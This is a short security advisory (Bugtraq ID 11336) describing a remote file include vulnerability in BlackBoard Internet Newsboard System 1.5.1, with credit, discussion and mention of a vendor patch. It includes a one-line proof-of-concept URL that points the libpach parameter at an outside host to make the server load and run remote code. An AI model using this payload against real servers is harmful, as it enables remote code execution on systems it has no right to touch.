BlackBoard Internet Newsboard System Remote File Include Vulnerability

BID:11336

Info

BlackBoard Internet Newsboard System Remote File Include Vulnerability

Bugtraq ID: 11336
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Oct 06 2004 12:00AM
Updated: Oct 06 2004 12:00AM
Credit: Discovery is credited to Lin Xiaofeng <[email protected]>.
Vulnerable: BlackBoard Internet Newsboard System BlackBoard Internet Newsboard System 1.5.1
Not Vulnerable:

Discussion

BlackBoard Internet Newsboard System Remote File Include Vulnerability

BlackBoard Internet Newsboard System is reported prone to a remote file include vulnerability. This issue presents itself because the application fails to sanitize user-supplied data properly. This issue may allow an attacker to include malicious files containing arbitrary script code to be executed on a vulnerable computer.

BlackBoard Internet Newsboard System version 1.5.1 is reported prone to this vulnerability. It is possible that prior versions are affected as well.

Exploit / POC

BlackBoard Internet Newsboard System Remote File Include Vulnerability

An exploit is not required to leverage this issue.

The following proof of concept example is available:
http://www.example.com/bb_lib/checkdb.inc.php?libpach=http://www.example.com/

Solution / Fix

BlackBoard Internet Newsboard System Remote File Include Vulnerability

Solution:
The vendor has released a patch to address this issue:


BlackBoard Internet Newsboard System BlackBoard Internet Newsboard System 1.5.1

References

BlackBoard Internet Newsboard System Remote File Include Vulnerability

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